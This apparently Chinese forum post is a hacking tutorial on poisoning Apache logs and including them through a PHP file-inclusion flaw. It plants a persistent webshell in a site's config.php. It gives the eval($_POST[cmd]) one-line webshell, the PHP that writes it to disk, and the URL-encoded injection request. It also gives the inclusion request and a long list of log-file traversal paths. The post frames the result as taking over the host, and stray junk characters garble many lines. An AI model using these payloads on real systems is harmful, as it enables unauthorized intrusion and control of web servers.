php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

比如还是这句一句话木马
0 o- \+ e! m! \) S) N; t5 V) J" O<?eval($_POST[cmd]);?>   
& i. A4 j, N( m4 D& @7 b
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
* {# m# h: I4 y& Z5 e* K5 y
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
fclose($fp);?>   //在config.php里写入一句木马语句
; c" y9 l5 j  X+ `  z  M. y
2 G( I3 g( t/ D我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
( d2 g& q: Q" w4 W: ]转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
7 A3 r( z6 L9 B( F- k. t6 j%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
) C6 K" r4 a, Q* G- |# O& n8 ?
3 Y. A  h& Q9 n2 o% u" |/ t. C4 q3 }这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
* P/ r3 `# Z" Y) `# C$ K
/ v0 V4 `5 k7 |7 V. J2 ]2 u这样webshell就写入成功了，config.php里就写入一句木马语句
2 `  g; b1 _  d& O& {1 s& h$ fOK.
, {# |; m! T# _/ Rhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
7 @4 p( Y- m+ w8 }  w% N% L直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

% d$ Z4 z# [( T5 [; l4 I% ]! [! U4 S其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
2 a9 Q) W8 n1 E5 s' ^! x& y../../../../../../../../../../var/log/httpd/error_log
8 o3 H# K; }& ]3 u1 ^../apache/logs/error.log
0 B9 [4 o0 u8 Z, D% p: [3 L../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
# I$ A, [  p) J  R" u../../../apache/logs/access.log
* f8 B0 l# P- Q4 X* K: O, @../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
: ~0 ^" s5 |& i- w4 w../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
& [& k( K$ B# O: T! @; ]$ A../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
7 F( B/ D) t2 O../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
: `/ j$ q2 C( p5 M  [* }/ w../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
+ A$ U& @8 x/ ~6 a../../../../../../../../../../var/www/logs/error.log
3 f8 d$ d3 d4 J: O../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
8 h) r" z) |; @! X3 q* I+ U../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
. y' i1 }3 l9 g# H) I../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
" T- O% c+ m1 B/ ]; F# P* ^/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
( [8 {' O, ?4 ]6 N' ^../apache/logs/access.log
/ X( K9 @, E4 O/ `5 c( i../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
, k, E/ P: ]1 ^: e2 [4 r/etc/httpd/logs/acces_log
8 Q, a2 ?& F. Z0 {/etc/httpd/logs/acces.log
  y/ b! T4 m! j, c% T/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
6 Y5 I& x; k1 j3 H8 @/var/www/logs/access_log
2 Y9 Y2 _8 }3 P' I/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
, a8 |7 b& J5 U! ^8 J, q/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
' N" o; M: e3 k' ]+ i3 Y: p/var/www/logs/error.log
, K$ L- x3 \1 k7 |/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/ w" d! a" F0 N8 Z) g7 [/var/log/apache/error_log
, L4 m1 E$ z% B. i* J1 O/var/log/apache/error.log
/var/log/access_log
/var/log/error_log